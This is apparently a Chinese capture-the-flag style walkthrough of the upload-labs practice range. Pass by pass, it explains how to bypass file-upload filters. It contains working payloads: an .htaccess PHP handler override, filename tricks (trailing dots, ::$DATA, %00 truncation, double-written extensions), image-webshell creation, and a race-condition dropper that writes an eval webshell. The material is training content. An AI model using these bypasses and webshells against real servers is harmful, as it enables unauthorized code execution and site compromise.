文件上传漏洞之upload-labs靶场实战通关

目录

pass-01

pass-02

前端删除完验证函数后通过burp修改 content-type的类型

pass-03

$deny_ext = array('.asp','.aspx','.php','.jsp');

pass-04

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件！

先变化为jepg格式上传，再上传个.htaccess文件修改解析方式

<FilesMatch "Behinder.jepg">
  SetHandler application/x-httpd-php
</FilesMatch>

pass-06

 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

本关源码没有统一转化后缀为小写，可以大小写绕过

pass-07

没有首尾去空，抓包修改文件后缀添加空格

pass-08

文件尾部添加.

Content-Disposition: form-data; name="upload_file"; filename="Behinder.php."

pass-09

没有去除字符串::$DATA

Content-Disposition: form-data; name="upload_file"; filename="Behinder.php::$DATA"

pass-10

        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//删除文件名末尾的空格

Content-Disposition: form-data; name="upload_file"; filename="Behinder.php. ."

pass-11

 $file_name = str_ireplace($deny_ext,"", $file_name);

后缀双写绕过pphphp

pass-12

%00截断：Behinder.php%00.png=Behinder.php

Content-Disposition: form-data; name="upload_file"; filename="Behinder.png"

POST /upload-labs-master/Pass-12/index.php?save_path=../upload/Behinder.php%00 HTTP/1.1

pass-13

post请求，需要修改16进制的截断00

pass-14

生成图片马

copy 1.jpg/b+2.php /a 3.jpg

• /b是二进制形式打开
• /a是ascii方式打开

copy a.jpg/b + 2.php 3.jpg

 <?php
/*
本页面存在文件包含漏洞，用于测试图片马是否能正常运行！
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 
http://localhost:7298/upload-labs-master/include.php?file=upload/1220221209062757.jpg

pass-15

$info = getimagesize($filename);
http://localhost:7298/upload-labs-master/include.php?file=upload/3620221209063752.png

pass-16

  $image_type = exif_imagetype($filename);

pass-17

 $im = imagecreatefromjpeg($target_path);

图片被二次渲染，绕过思路：使用渲染时代码不会被修改的图片即可

pass-18

  if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }

漏洞描述：先将文件上传到服务器，然后通过 rename 修改名称，再通过

unlink 删除文件，因此可以通过条件竞争的方式在 unlink 之前，访问 webshell

利用方法：使用 burp 或者 python 脚本对要上传的文件路径进行不断的访问

(upload/webshell.php)，上传一个 webshell.php，但访问该文件，会在目录下生成一

个 webshell

<?php
fputs(fopen('shell.php','coleak'),'<?php @eval($_POST["cmd"]) ?>');
?>

通过burp进行线程爆破

此时上传的该文件被不断上传并被不断删除， 通过代码不断请求访问该php文件，此刻产生新的不会被删除的shell.php

此时可以通过连接到shell.php进行漏洞利用

pass-19

将shell.php重命名为shell.php.7z，Intruder并发上传，直到得到一个未被重命名的文件

pass-20

(move_uploaded_file($temp_file, $img_path))

保存名称upload-19.php/.

pass-21

  $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";

Content-Disposition: form-data; name="upload_file"; filename="Behinder.jpg"
Content-Type: image/jpg

-----------------------------365425794437488830443731418635
Content-Disposition: form-data; name="save_name[0]"

upload-20.php/
-----------------------------365425794437488830443731418635
Content-Disposition: form-data; name="save_name[2]"

jpg